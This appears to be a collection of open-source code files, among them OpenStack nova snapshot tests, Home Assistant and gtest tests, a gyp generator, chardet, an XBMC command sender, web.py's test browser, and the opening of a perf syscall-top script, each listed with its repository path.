self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeNetdiskDomain(fake_xml=self.dom_netdisk_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_netdisk_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) self.mox.ReplayAll() self.assertRaises(exception.Invalid, self.drvr._volume_snapshot_delete, self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_netdisk) fakelibvirt.__dict__.update({'VIR_DOMAIN_BLOCK_COMMIT_RELATIVE': 4}) def test_volume_snapshot_delete_netdisk_relative_2(self): """Delete older snapshot -- blockCommit for libgfapi/network disk.""" class FakeNetdiskDomain(FakeVirtDomain): def __init__(self, *args, **kwargs): super(FakeNetdiskDomain, self).__init__(*args, **kwargs) def XMLDesc(self, flags): return self.dom_netdisk_xml self.stubs.Set(libvirt_driver, 'libvirt', fakelibvirt) instance = objects.Instance(**self.inst) snapshot_id = 'snapshot-1234' domain = FakeNetdiskDomain(fake_xml=self.dom_netdisk_xml) self.mox.StubOutWithMock(domain, 'XMLDesc') domain.XMLDesc(flags=0).AndReturn(self.dom_netdisk_xml) self.mox.StubOutWithMock(self.drvr._host, 'get_domain') self.mox.StubOutWithMock(self.drvr._host, 'has_min_version') self.mox.StubOutWithMock(domain, 'blockRebase') self.mox.StubOutWithMock(domain, 'blockCommit') self.mox.StubOutWithMock(domain, 'blockJobInfo') self.drvr._host.get_domain(instance).AndReturn(domain) self.drvr._host.has_min_version(mox.IgnoreArg()).AndReturn(True) domain.blockCommit('vdb', 'vdb[0]', 'vdb[1]', 0, flags=fakelibvirt.VIR_DOMAIN_BLOCK_COMMIT_RELATIVE) domain.blockJobInfo('vdb', flags=0).AndReturn({'cur': 1, 'end': 1000}) domain.blockJobInfo('vdb', flags=0).AndReturn( {'cur': 1000, 'end': 1000}) self.mox.ReplayAll() self.drvr._volume_snapshot_delete(self.c, instance, self.volume_uuid, snapshot_id, self.delete_info_netdisk) self.mox.VerifyAll() def _fake_convert_image(source, dest, out_format, run_as_root=True): libvirt_driver.libvirt_utils.files[dest] = '' class _BaseSnapshotTests(test.NoDBTestCase): def setUp(self): super(_BaseSnapshotTests, self).setUp() self.flags(snapshots_directory='./', group='libvirt') self.context = context.get_admin_context() self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.driver.libvirt_utils', fake_libvirt_utils)) self.useFixture(fixtures.MonkeyPatch( 'nova.virt.libvirt.imagebackend.libvirt_utils', fake_libvirt_utils)) self.image_service = nova.tests.unit.image.fake.stub_out_image_service( self.stubs) self.mock_update_task_state = mock.Mock() test_instance = _create_test_instance() self.instance_ref = objects.Instance(**test_instance) self.instance_ref.info_cache = objects.InstanceInfoCache( network_info=None) def _assert_snapshot(self, snapshot, disk_format, expected_properties=None): self.mock_update_task_state.assert_has_calls([ mock.call(task_state=task_states.IMAGE_PENDING_UPLOAD), mock.call(task_state=task_states.IMAGE_UPLOADING, expected_state=task_states.IMAGE_PENDING_UPLOAD)]) props = snapshot['properties'] self.assertEqual(props['image_state'], 'available') self.assertEqual(snapshot['status'], 'active') self.assertEqual(snapshot['disk_format'], disk_format) self.assertEqual(snapshot['name'], 'test-snap') if expected_properties: for expected_key, expected_value in \ six.iteritems(expected_properties): self.assertEqual(expected_value, props[expected_key]) def _create_image(self, extra_properties=None): properties = {'instance_id': self.instance_ref['id'], 'user_id': str(self.context.user_id)} if extra_properties: properties.update(extra_properties) sent_meta = {'name': 'test-snap', 'is_public': False, 'status': 'creating', 'properties': properties} # Create new image. It will be updated in snapshot method # To work with it from snapshot, the single image_service is needed recv_meta = self.image_service.create(self.context, sent_meta) return recv_meta @mock.patch.object(imagebackend.Image, 'resolve_driver_format') @mock.patch.object(host.Host, 'get_domain') def _snapshot(self, image_id, mock_get_domain, mock_resolve): mock_get_domain.return_value = FakeVirtDomain() driver = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) driver.snapshot(self.context, self.instance_ref, image_id, self.mock_update_task_state) snapshot = self.image_service.show(self.context, image_id) return snapshot def _test_snapshot(self, disk_format, extra_properties=None): recv_meta = self._create_image(extra_properties=extra_properties) snapshot = self._snapshot(recv_meta['id']) self._assert_snapshot(snapshot, disk_format=disk_format, expected_properties=extra_properties) class LibvirtSnapshotTests(_BaseSnapshotTests): def test_ami(self): # Assign different image_ref from nova/images/fakes for testing ami self.instance_ref.image_ref = 'c905cedb-7281-47e4-8a62-f26bc5fc4c77' self.instance_ref.system_metadata = \ utils.get_system_metadata_from_image( {'disk_format': 'ami'}) self._test_snapshot(disk_format='ami') @mock.patch.object(fake_libvirt_utils, 'disk_type', new='raw') @mock.patch.object(libvirt_driver.imagebackend.images, 'convert_image', side_effect=_fake_convert_image) def test_raw(self, mock_convert_image): self._test_snapshot(disk_format='raw') def test_qcow2(self): self._test_snapshot(disk_format='qcow2') def test_no_image_architecture(self): self.instance_ref.image_ref = '76fa36fc-c930-4bf3-8c8a-ea2a2420deb6' self._test_snapshot(disk_format='qcow2') def test_no_original_image(self): self.instance_ref.image_ref = '661122aa-1234-dede-fefe-babababababa' self._test_snapshot(disk_format='qcow2') def test_snapshot_metadata_image(self): # Assign an image with an architecture defined (x86_64) self.instance_ref.image_ref = 'a440c04b-79fa-479c-bed1-0b816eaec379' extra_properties = {'architecture': 'fake_arch', 'key_a': 'value_a', 'key_b': 'value_b', 'os_type': 'linux'} self._test_snapshot(disk_format='qcow2', extra_properties=extra_properties) class LXCSnapshotTests(LibvirtSnapshotTests): """Repeat all of the Libvirt snapshot tests, but with LXC enabled""" def setUp(self): super(LXCSnapshotTests, self).setUp() self.flags(virt_type='lxc', group='libvirt') class LVMSnapshotTests(_BaseSnapshotTests): @mock.patch.object(fake_libvirt_utils, 'disk_type', new='lvm') @mock.patch.object(libvirt_driver.imagebackend.images, 'convert_image', side_effect=_fake_convert_image) @mock.patch.object(libvirt_driver.imagebackend.lvm, 'volume_info') def _test_lvm_snapshot(self, disk_format, mock_volume_info, mock_convert_image): self.flags(images_type='lvm', images_volume_group='nova-vg', group='libvirt') self._test_snapshot(disk_format=disk_format) mock_volume_info.assert_has_calls([mock.call('/dev/nova-vg/lv')]) mock_convert_image.assert_called_once_with( '/dev/nova-vg/lv', mock.ANY, disk_format, run_as_root=True) def test_raw(self): self._test_lvm_snapshot('raw') def test_qcow2(self): self.flags(snapshot_image_format='qcow2', group='libvirt') self._test_lvm_snapshot('qcow2')
msebire/intellij-community
refs/heads/master
python/testData/copyPaste/LineToPrev.src.py
249
print 1<selection> print 2</selection> print 3
leppa/home-assistant
refs/heads/dev
tests/components/water_heater/test_reproduce_state.py
5
"""Test reproduce state for Water heater.""" from homeassistant.components.water_heater import ( ATTR_AWAY_MODE, ATTR_OPERATION_MODE, ATTR_TEMPERATURE, SERVICE_SET_AWAY_MODE, SERVICE_SET_OPERATION_MODE, SERVICE_SET_TEMPERATURE, STATE_ECO, STATE_GAS, ) from homeassistant.const import SERVICE_TURN_OFF, SERVICE_TURN_ON, STATE_OFF, STATE_ON from homeassistant.core import State from tests.common import async_mock_service async def test_reproducing_states(hass, caplog): """Test reproducing Water heater states.""" hass.states.async_set("water_heater.entity_off", STATE_OFF, {}) hass.states.async_set("water_heater.entity_on", STATE_ON, {ATTR_TEMPERATURE: 45}) hass.states.async_set("water_heater.entity_away", STATE_ON, {ATTR_AWAY_MODE: True}) hass.states.async_set("water_heater.entity_gas", STATE_GAS, {}) hass.states.async_set( "water_heater.entity_all", STATE_ECO, {ATTR_AWAY_MODE: True, ATTR_TEMPERATURE: 45}, ) turn_on_calls = async_mock_service(hass, "water_heater", SERVICE_TURN_ON) turn_off_calls = async_mock_service(hass, "water_heater", SERVICE_TURN_OFF) set_op_calls = async_mock_service(hass, "water_heater", SERVICE_SET_OPERATION_MODE) set_temp_calls = async_mock_service(hass, "water_heater", SERVICE_SET_TEMPERATURE) set_away_calls = async_mock_service(hass, "water_heater", SERVICE_SET_AWAY_MODE) # These calls should do nothing as entities already in desired state await hass.helpers.state.async_reproduce_state( [ State("water_heater.entity_off", STATE_OFF), State("water_heater.entity_on", STATE_ON, {ATTR_TEMPERATURE: 45}), State("water_heater.entity_away", STATE_ON, {ATTR_AWAY_MODE: True}), State("water_heater.entity_gas", STATE_GAS, {}), State( "water_heater.entity_all", STATE_ECO, {ATTR_AWAY_MODE: True, ATTR_TEMPERATURE: 45}, ), ], blocking=True, ) assert len(turn_on_calls) == 0 assert len(turn_off_calls) == 0 assert len(set_op_calls) == 0 assert len(set_temp_calls) == 0 assert len(set_away_calls) == 0 # Test invalid state is handled await hass.helpers.state.async_reproduce_state( [State("water_heater.entity_off", "not_supported")], blocking=True ) assert "not_supported" in caplog.text assert len(turn_on_calls) == 0 assert len(turn_off_calls) == 0 assert len(set_op_calls) == 0 assert len(set_temp_calls) == 0 assert len(set_away_calls) == 0 # Make sure correct services are called await hass.helpers.state.async_reproduce_state( [ State("water_heater.entity_on", STATE_OFF), State("water_heater.entity_off", STATE_ON, {ATTR_TEMPERATURE: 45}), State("water_heater.entity_all", STATE_ECO, {ATTR_AWAY_MODE: False}), State("water_heater.entity_away", STATE_GAS, {}), State( "water_heater.entity_gas", STATE_ECO, {ATTR_AWAY_MODE: True, ATTR_TEMPERATURE: 45}, ), # Should not raise State("water_heater.non_existing", "on"), ], blocking=True, ) assert len(turn_on_calls) == 1 assert turn_on_calls[0].domain == "water_heater" assert turn_on_calls[0].data == {"entity_id": "water_heater.entity_off"} assert len(turn_off_calls) == 1 assert turn_off_calls[0].domain == "water_heater" assert turn_off_calls[0].data == {"entity_id": "water_heater.entity_on"} VALID_OP_CALLS = [ {"entity_id": "water_heater.entity_away", ATTR_OPERATION_MODE: STATE_GAS}, {"entity_id": "water_heater.entity_gas", ATTR_OPERATION_MODE: STATE_ECO}, ] assert len(set_op_calls) == 2 for call in set_op_calls: assert call.domain == "water_heater" assert call.data in VALID_OP_CALLS VALID_OP_CALLS.remove(call.data) VALID_TEMP_CALLS = [ {"entity_id": "water_heater.entity_off", ATTR_TEMPERATURE: 45}, {"entity_id": "water_heater.entity_gas", ATTR_TEMPERATURE: 45}, ] assert len(set_temp_calls) == 2 for call in set_temp_calls: assert call.domain == "water_heater" assert call.data in VALID_TEMP_CALLS VALID_TEMP_CALLS.remove(call.data) VALID_AWAY_CALLS = [ {"entity_id": "water_heater.entity_all", ATTR_AWAY_MODE: False}, {"entity_id": "water_heater.entity_gas", ATTR_AWAY_MODE: True}, ] assert len(set_away_calls) == 2 for call in set_away_calls: assert call.domain == "water_heater" assert call.data in VALID_AWAY_CALLS VALID_AWAY_CALLS.remove(call.data)
AlexMold/shopify
refs/heads/master
node_modules/gulp-sass/node_modules/node-sass/node_modules/node-gyp/gyp/pylib/gyp/generator/dump_dependency_json.py
899
# Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import collections import os import gyp import gyp.common import gyp.msvs_emulation import json import sys generator_supports_multiple_toolsets = True generator_wants_static_library_dependencies_adjusted = False generator_default_variables = { } for dirname in ['INTERMEDIATE_DIR', 'SHARED_INTERMEDIATE_DIR', 'PRODUCT_DIR', 'LIB_DIR', 'SHARED_LIB_DIR']: # Some gyp steps fail if these are empty(!). generator_default_variables[dirname] = 'dir' for unused in ['RULE_INPUT_PATH', 'RULE_INPUT_ROOT', 'RULE_INPUT_NAME', 'RULE_INPUT_DIRNAME', 'RULE_INPUT_EXT', 'EXECUTABLE_PREFIX', 'EXECUTABLE_SUFFIX', 'STATIC_LIB_PREFIX', 'STATIC_LIB_SUFFIX', 'SHARED_LIB_PREFIX', 'SHARED_LIB_SUFFIX', 'CONFIGURATION_NAME']: generator_default_variables[unused] = '' def CalculateVariables(default_variables, params): generator_flags = params.get('generator_flags', {}) for key, val in generator_flags.items(): default_variables.setdefault(key, val) default_variables.setdefault('OS', gyp.common.GetFlavor(params)) flavor = gyp.common.GetFlavor(params) if flavor =='win': # Copy additional generator configuration data from VS, which is shared # by the Windows Ninja generator. import gyp.generator.msvs as msvs_generator generator_additional_non_configuration_keys = getattr(msvs_generator, 'generator_additional_non_configuration_keys', []) generator_additional_path_sections = getattr(msvs_generator, 'generator_additional_path_sections', []) gyp.msvs_emulation.CalculateCommonVariables(default_variables, params) def CalculateGeneratorInputInfo(params): """Calculate the generator specific info that gets fed to input (called by gyp).""" generator_flags = params.get('generator_flags', {}) if generator_flags.get('adjust_static_libraries', False): global generator_wants_static_library_dependencies_adjusted generator_wants_static_library_dependencies_adjusted = True def GenerateOutput(target_list, target_dicts, data, params): # Map of target -> list of targets it depends on. edges = {} # Queue of targets to visit. targets_to_visit = target_list[:] while len(targets_to_visit) > 0: target = targets_to_visit.pop() if target in edges: continue edges[target] = [] for dep in target_dicts[target].get('dependencies', []): edges[target].append(dep) targets_to_visit.append(dep) filename = 'dump.json' f = open(filename, 'w') json.dump(edges, f) f.close() print 'Wrote json to %s.' % filename
rorasa/NotifyMe
refs/heads/master
requests/packages/chardet/universaldetector.py
1775
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Universal charset detector code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 2001 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Shy Shalom - original C code # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### from . import constants import sys import codecs from .latin1prober import Latin1Prober # windows-1252 from .mbcsgroupprober import MBCSGroupProber # multi-byte character sets from .sbcsgroupprober import SBCSGroupProber # single-byte character sets from .escprober import EscCharSetProber # ISO-2122, etc. import re MINIMUM_THRESHOLD = 0.20 ePureAscii = 0 eEscAscii = 1 eHighbyte = 2 class UniversalDetector: def __init__(self): self._highBitDetector = re.compile(b'[\x80-\xFF]') self._escDetector = re.compile(b'(\033|~{)') self._mEscCharSetProber = None self._mCharSetProbers = [] self.reset() def reset(self): self.result = {'encoding': None, 'confidence': 0.0} self.done = False self._mStart = True self._mGotData = False self._mInputState = ePureAscii self._mLastChar = b'' if self._mEscCharSetProber: self._mEscCharSetProber.reset() for prober in self._mCharSetProbers: prober.reset() def feed(self, aBuf): if self.done: return aLen = len(aBuf) if not aLen: return if not self._mGotData: # If the data starts with BOM, we know it is UTF if aBuf[:3] == codecs.BOM_UTF8: # EF BB BF UTF-8 with BOM self.result = {'encoding': "UTF-8-SIG", 'confidence': 1.0} elif aBuf[:4] == codecs.BOM_UTF32_LE: # FF FE 00 00 UTF-32, little-endian BOM self.result = {'encoding': "UTF-32LE", 'confidence': 1.0} elif aBuf[:4] == codecs.BOM_UTF32_BE: # 00 00 FE FF UTF-32, big-endian BOM self.result = {'encoding': "UTF-32BE", 'confidence': 1.0} elif aBuf[:4] == b'\xFE\xFF\x00\x00': # FE FF 00 00 UCS-4, unusual octet order BOM (3412) self.result = { 'encoding': "X-ISO-10646-UCS-4-3412", 'confidence': 1.0 } elif aBuf[:4] == b'\x00\x00\xFF\xFE': # 00 00 FF FE UCS-4, unusual octet order BOM (2143) self.result = { 'encoding': "X-ISO-10646-UCS-4-2143", 'confidence': 1.0 } elif aBuf[:2] == codecs.BOM_LE: # FF FE UTF-16, little endian BOM self.result = {'encoding': "UTF-16LE", 'confidence': 1.0} elif aBuf[:2] == codecs.BOM_BE: # FE FF UTF-16, big endian BOM self.result = {'encoding': "UTF-16BE", 'confidence': 1.0} self._mGotData = True if self.result['encoding'] and (self.result['confidence'] > 0.0): self.done = True return if self._mInputState == ePureAscii: if self._highBitDetector.search(aBuf): self._mInputState = eHighbyte elif ((self._mInputState == ePureAscii) and self._escDetector.search(self._mLastChar + aBuf)): self._mInputState = eEscAscii self._mLastChar = aBuf[-1:] if self._mInputState == eEscAscii: if not self._mEscCharSetProber: self._mEscCharSetProber = EscCharSetProber() if self._mEscCharSetProber.feed(aBuf) == constants.eFoundIt: self.result = {'encoding': self._mEscCharSetProber.get_charset_name(), 'confidence': self._mEscCharSetProber.get_confidence()} self.done = True elif self._mInputState == eHighbyte: if not self._mCharSetProbers: self._mCharSetProbers = [MBCSGroupProber(), SBCSGroupProber(), Latin1Prober()] for prober in self._mCharSetProbers: if prober.feed(aBuf) == constants.eFoundIt: self.result = {'encoding': prober.get_charset_name(), 'confidence': prober.get_confidence()} self.done = True break def close(self): if self.done: return if not self._mGotData: if constants._debug: sys.stderr.write('no data received!\n') return self.done = True if self._mInputState == ePureAscii: self.result = {'encoding': 'ascii', 'confidence': 1.0} return self.result if self._mInputState == eHighbyte: proberConfidence = None maxProberConfidence = 0.0 maxProber = None for prober in self._mCharSetProbers: if not prober: continue proberConfidence = prober.get_confidence() if proberConfidence > maxProberConfidence: maxProberConfidence = proberConfidence maxProber = prober if maxProber and (maxProberConfidence > MINIMUM_THRESHOLD): self.result = {'encoding': maxProber.get_charset_name(), 'confidence': maxProber.get_confidence()} return self.result if constants._debug: sys.stderr.write('no probers hit minimum threshhold\n') for prober in self._mCharSetProbers[0].mProbers: if not prober: continue sys.stderr.write('%s confidence = %s\n' % (prober.get_charset_name(), prober.get_confidence()))
orekyuu/intellij-community
refs/heads/master
python/testData/copyPaste/singleLine/Indent11.dst.py
747
class C: def foo(self): <caret>y = 2
koying/xbmc-pivos
refs/heads/master
tools/EventClients/Clients/XBMC Send/xbmc-send.py
49
#!/usr/bin/python # # XBMC Media Center # XBMC Send # Copyright (c) 2009 team-xbmc # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. # import sys import getopt from socket import * try: from xbmc.xbmcclient import * except: sys.path.append('../../lib/python') from xbmcclient import * def usage(): print "xbmc-send [OPTION] --action=ACTION" print 'Example' print '\txbmc-send --host=192.168.0.1 --port=9777 --action="XBMC.Quit"' print "Options" print "\t-?, --help\t\t\tWill bring up this message" print "\t--host=HOST\t\t\tChoose what HOST to connect to (default=localhost)" print "\t--port=PORT\t\t\tChoose what PORT to connect to (default=9777)" print '\t--action=ACTION\t\t\tSends an action to XBMC, this option can be added multiple times to create a macro' pass def main(): try: opts, args = getopt.getopt(sys.argv[1:], "?pa:v", ["help", "host=", "port=", "action="]) except getopt.GetoptError, err: # print help information and exit: print str(err) # will print something like "option -a not recognized" usage() sys.exit(2) ip = "localhost" port = 9777 actions = [] verbose = False for o, a in opts: if o in ("-?", "--help"): usage() sys.exit() elif o == "--host": ip = a elif o == "--port": port = int(a) elif o in ("-a", "--action"): actions.append(a) else: assert False, "unhandled option" addr = (ip, port) sock = socket(AF_INET,SOCK_DGRAM) if len(actions) is 0: usage() sys.exit(0) for action in actions: print 'Sending action:', action packet = PacketACTION(actionmessage=action, actiontype=ACTION_BUTTON) packet.send(sock, addr) if __name__=="__main__": main()
khaliiid/newvisualizer
refs/heads/master
src/components/jit/webpy/web/browser.py
16
"""Browser to test web applications. (from web.py) """ from utils import re_compile from net import htmlunquote import httplib, urllib, urllib2 import cookielib import copy from StringIO import StringIO DEBUG = False __all__ = [ "BrowserError", "Browser", "AppBrowser", "AppHandler" ] class BrowserError(Exception): pass class Browser: def __init__(self): self.cookiejar = cookielib.CookieJar() self._cookie_processor = urllib2.HTTPCookieProcessor(self.cookiejar) self.form = None self.url = "http://0.0.0.0:8080/" self.path = "/" self.status = None self.data = None self._response = None self._forms = None def reset(self): """Clears all cookies and history.""" self.cookiejar.clear() def build_opener(self): """Builds the opener using urllib2.build_opener. Subclasses can override this function to prodive custom openers. """ return urllib2.build_opener() def do_request(self, req): if DEBUG: print 'requesting', req.get_method(), req.get_full_url() opener = self.build_opener() opener.add_handler(self._cookie_processor) try: self._response = opener.open(req) except urllib2.HTTPError, e: self._response = e self.url = self._response.geturl() self.path = urllib2.Request(self.url).get_selector() self.data = self._response.read() self.status = self._response.code self._forms = None self.form = None return self.get_response() def open(self, url, data=None, headers={}): """Opens the specified url.""" url = urllib.basejoin(self.url, url) req = urllib2.Request(url, data, headers) return self.do_request(req) def show(self): """Opens the current page in real web browser.""" f = open('page.html', 'w') f.write(self.data) f.close() import webbrowser, os url = 'file://' + os.path.abspath('page.html') webbrowser.open(url) def get_response(self): """Returns a copy of the current response.""" return urllib.addinfourl(StringIO(self.data), self._response.info(), self._response.geturl()) def get_soup(self): """Returns beautiful soup of the current document.""" import BeautifulSoup return BeautifulSoup.BeautifulSoup(self.data) def get_text(self, e=None): """Returns content of e or the current document as plain text.""" e = e or self.get_soup() return ''.join([htmlunquote(c) for c in e.recursiveChildGenerator() if isinstance(c, unicode)]) def _get_links(self): soup = self.get_soup() return [a for a in soup.findAll(name='a')] def get_links(self, text=None, text_regex=None, url=None, url_regex=None, predicate=None): """Returns all links in the document.""" return self._filter_links(self._get_links(), text=text, text_regex=text_regex, url=url, url_regex=url_regex, predicate=predicate) def follow_link(self, link=None, text=None, text_regex=None, url=None, url_regex=None, predicate=None): if link is None: links = self._filter_links(self.get_links(), text=text, text_regex=text_regex, url=url, url_regex=url_regex, predicate=predicate) link = links and links[0] if link: return self.open(link['href']) else: raise BrowserError("No link found") def find_link(self, text=None, text_regex=None, url=None, url_regex=None, predicate=None): links = self._filter_links(self.get_links(), text=text, text_regex=text_regex, url=url, url_regex=url_regex, predicate=predicate) return links and links[0] or None def _filter_links(self, links, text=None, text_regex=None, url=None, url_regex=None, predicate=None): predicates = [] if text is not None: predicates.append(lambda link: link.string == text) if text_regex is not None: predicates.append(lambda link: re_compile(text_regex).search(link.string or '')) if url is not None: predicates.append(lambda link: link.get('href') == url) if url_regex is not None: predicates.append(lambda link: re_compile(url_regex).search(link.get('href', ''))) if predicate: predicate.append(predicate) def f(link): for p in predicates: if not p(link): return False return True return [link for link in links if f(link)] def get_forms(self): """Returns all forms in the current document. The returned form objects implement the ClientForm.HTMLForm interface. """ if self._forms is None: import ClientForm self._forms = ClientForm.ParseResponse(self.get_response(), backwards_compat=False) return self._forms def select_form(self, name=None, predicate=None, index=0): """Selects the specified form.""" forms = self.get_forms() if name is not None: forms = [f for f in forms if f.name == name] if predicate: forms = [f for f in forms if predicate(f)] if forms: self.form = forms[index] return self.form else: raise BrowserError("No form selected.") def submit(self): """submits the currently selected form.""" if self.form is None: raise BrowserError("No form selected.") req = self.form.click() return self.do_request(req) def __getitem__(self, key): return self.form[key] def __setitem__(self, key, value): self.form[key] = value class AppBrowser(Browser): """Browser interface to test web.py apps. b = AppBrowser(app) b.open('/') b.follow_link(text='Login') b.select_form(name='login') b['username'] = 'joe' b['password'] = 'secret' b.submit() assert b.path == '/' assert 'Welcome joe' in b.get_text() """ def __init__(self, app): Browser.__init__(self) self.app = app def build_opener(self): return urllib2.build_opener(AppHandler(self.app)) class AppHandler(urllib2.HTTPHandler): """urllib2 handler to handle requests using web.py application.""" handler_order = 100 def __init__(self, app): self.app = app def http_open(self, req): result = self.app.request( localpart=req.get_selector(), method=req.get_method(), host=req.get_host(), data=req.get_data(), headers=dict(req.header_items()), https=req.get_type() == "https" ) return self._make_response(result, req.get_full_url()) def https_open(self, req): return self.http_open(req) https_request = urllib2.HTTPHandler.do_request_ def _make_response(self, result, url): data = "\r\n".join(["%s: %s" % (k, v) for k, v in result.header_items]) headers = httplib.HTTPMessage(StringIO(data)) response = urllib.addinfourl(StringIO(result.data), headers, url) code, msg = result.status.split(None, 1) response.code, response.msg = int(code), msg return response
bryanbrazil/xbmc
refs/heads/master
lib/gtest/test/gtest_env_var_test.py
2408
#!/usr/bin/env python # # Copyright 2008, Google Inc. # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """Verifies that Google Test correctly parses environment variables.""" __author__ = 'wan@google.com (Zhanyong Wan)' import os import gtest_test_utils IS_WINDOWS = os.name == 'nt' IS_LINUX = os.name == 'posix' and os.uname()[0] == 'Linux' COMMAND = gtest_test_utils.GetTestExecutablePath('gtest_env_var_test_') environ = os.environ.copy() def AssertEq(expected, actual): if expected != actual: print 'Expected: %s' % (expected,) print ' Actual: %s' % (actual,) raise AssertionError def SetEnvVar(env_var, value): """Sets the env variable to 'value'; unsets it when 'value' is None.""" if value is not None: environ[env_var] = value elif env_var in environ: del environ[env_var] def GetFlag(flag): """Runs gtest_env_var_test_ and returns its output.""" args = [COMMAND] if flag is not None: args += [flag] return gtest_test_utils.Subprocess(args, env=environ).output def TestFlag(flag, test_val, default_val): """Verifies that the given flag is affected by the corresponding env var.""" env_var = 'GTEST_' + flag.upper() SetEnvVar(env_var, test_val) AssertEq(test_val, GetFlag(flag)) SetEnvVar(env_var, None) AssertEq(default_val, GetFlag(flag)) class GTestEnvVarTest(gtest_test_utils.TestCase): def testEnvVarAffectsFlag(self): """Tests that environment variable should affect the corresponding flag.""" TestFlag('break_on_failure', '1', '0') TestFlag('color', 'yes', 'auto') TestFlag('filter', 'FooTest.Bar', '*') TestFlag('output', 'xml:tmp/foo.xml', '') TestFlag('print_time', '0', '1') TestFlag('repeat', '999', '1') TestFlag('throw_on_failure', '1', '0') TestFlag('death_test_style', 'threadsafe', 'fast') TestFlag('catch_exceptions', '0', '1') if IS_LINUX: TestFlag('death_test_use_fork', '1', '0') TestFlag('stack_trace_depth', '0', '100') if __name__ == '__main__': gtest_test_utils.Main()
Futubank/django-futupayments
refs/heads/master
example/app/tests.py
1
from django.test import LiveServerTestCase try: from django.urls import reverse except: from django.core.urlresolvers import reverse class TestMainUsage(LiveServerTestCase): def setUp(self): from selenium import webdriver self.selenium = webdriver.Chrome() self.selenium.implicitly_wait(10) def test_pay(self): from selenium.common.exceptions import NoSuchElementException self.selenium.get(self.live_server_url + reverse('home') + '?order_id=1') self.assertRaises(NoSuchElementException, self.selenium.find_element_by_css_selector, '.errorlist') # noqa self.selenium.find_element_by_css_selector('[type=submit]').click() self.assertEquals(self.selenium.current_url, 'https://secure.futubank.com/testing-pay/') # noqa self.assertEquals(self.selenium.title, '[ТЕСТ] Оплата покупки') def tearDown(self): self.selenium.quit()
AppliedMicro/ENGLinuxLatest
refs/heads/apm_linux_v3.18
tools/perf/scripts/python/sctop.py
1996
# system call top # (c) 2010, Tom Zanussi <tzanussi@gmail.com> # Licensed under the terms of the GNU GPL License version 2 # # Periodically displays system-wide system call totals, broken down by # syscall. If a [comm] arg is specified, only syscalls called by # [comm] are displayed. If an [interval] arg is specified, the display # will be refreshed every [interval] seconds. The default interval is # 3 seconds. import os, sys, thread, time sys.path.append(os.environ['PERF_EXEC_PATH'] + \ '/scripts/python/Perf-Trace-Util/lib/Perf/Trace') from perf_trace_context import * from Core import * from Util import * usage = "perf script -s sctop.py [comm] [interval]\n"; for_comm = None default_interval = 3 interval = default_interval if len(sys.argv) > 3: sys.exit(usage) if len(sys.argv) > 2: for_comm = sys.argv[1] interval = int(sys.argv[2]) elif len(sys.argv) > 1: try: interval = int(sys.argv[1]) except ValueError: for_comm = sys.argv[1] interval = default_interval syscalls = autodict() def trace_begin(): thread.start_new_thread(print_syscall_totals, (interval,)) pass def raw_syscalls__sys_enter(event_name, context, common_cpu, common_secs, common_nsecs, common_pid, common_comm, common_callchain, id, args): if for_comm is not None: if common_comm != for_comm: return try: syscalls[id] += 1 except TypeError: syscalls[id] = 1 def 